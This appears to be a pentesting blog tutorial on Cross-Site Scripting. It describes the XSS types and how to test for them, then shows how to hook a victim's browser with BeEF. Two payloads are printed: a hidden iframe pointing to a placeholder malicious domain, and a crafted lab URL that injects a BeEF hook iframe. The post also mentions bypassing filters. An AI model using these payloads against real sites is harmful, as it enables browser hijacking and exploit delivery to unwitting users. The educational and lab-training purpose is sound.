xss

This exploit tutorial will give a brief overview of Cross-Site Scripting (XSS), and how to leverage it to control a victim’s browser.  XSS is a very common web application vulnerability that many dismiss as low risk because they don’t understand whats possible.  If you want to download a quick ISO to play around with XSS check out some of the great work put out a pentesterlab.com.

XSS flaws commonly take place because output isn’t encoded properly, and this allows an attacker to input code instead of the expected input.

Normally XSS targets a victims browser through the web application.  So when a user visits the page, the attacker gets to run their code in the users browser.

Types of XSS:
Stored XSS: This is type of XSS is sometimes called persistent because the injected code remains on the web application.  This is very popular with drive-by downloads, attackers are able to store some malicious HTML/JavaScript in a legit web application that is then used to infect users that visit the application.

This type of XSS is harder to enumerate because it can sometimes be present in logs of the web application, which you might not be able to test without additional access to the application.

Reflective XSS: This type of XSS if far more common and is very often overlooked as a security concern.  This type of vulnerability allows HTML/JavaScript to be passed in the request to a web application.  So a common attack vector would be to craft a link using the vulnerable site and send the link to a potential victim user.

DOM Based XSS:  This type of XSS takes place completely on the users browser instead of the web application.  Here is a good link if you want to read more about DOM based XSS.

Testing for XSS:
Browse through a proxy and look where your input is on the screen.  A common issue is with 404 pages putting in the resource requested, even if it’s code.  Normally the process I follow when testing for XSS is after I have identified various areas that might accept input from the user I begin to put in different input and check the source code in the response to see if my input is included.  This is the basic process that web application vulnerability scanners follow to enumerate XSS.

What’s possible?
Common way to leverage xss is to load HTML/JavaScript in the users browser.  This is easy to do through the use of an iframe:

    
<iframe%20height="0"%20width="0"%20src="http://malicious_domain.com/"></iframe>
   

This iframe could fingerprint the browser, deliver an exploit, load malicious JavaScript to hook the browser (#BeEF).

 

BeEF:
Let’s take a look at an xss example and leverage BeEF to hook a victim browser.  First we identify the location of a XSS vulnerable in a web application.  For more detailed information how to test for these types of vulnerabilities reference a previous post/tutorial on Burp Suite.  With the reflective XSS vulnerability enumerated instead of having an alert(‘XSS’) box, we can load a BeEF hook through an iframe.  Below is an example of a reflective XSS vulnerability in a parameter in the URL:

xss_0

So what we have is a parameter that accepts user input and doesn’t do any input filtering or output encoding, which has led to a trivial XSS vulnerability.  Now in order to do something fun with this we can toss in an iframe/BeEF hook and send a user a link, once they click it will load JavaScript in there browser and we can play!


http://192.168.56.104/xss/example1.php?name=<iframe height="0" width="0"src=http://beef_hook/</iframe>

Once the BeEF hook is loaded in the browser you can check your BeEF controller to control the victim’s browser:

b_21

BeEF is a powerful way to take control over a victim browser through the use of JavaScript. Above you can see a victim browser that was hooked with BeEF using an XSS vulnerability. BeEF provides loads of functionality to perform on a victim browser, and even ties into Metasploit to deliver exploits.

 

Bypassing Filters:

Now the web developer may have put in some input filtering for <script> or even meta tags “<, >” and in these instances you can try to get around the filtering by being creative with the JavaScript/HTML you put in or encode code in a different format.  Check out our previous post on Burp to see some more information on encoding input to bypass some common XSS filters.

Pull down the .iso from pentesterlab.com and start to play with XSS vulnerabilities, they have different types of flaws that require you to bypass some basic filters by encoding the input in different formats (URL encoding, etc.).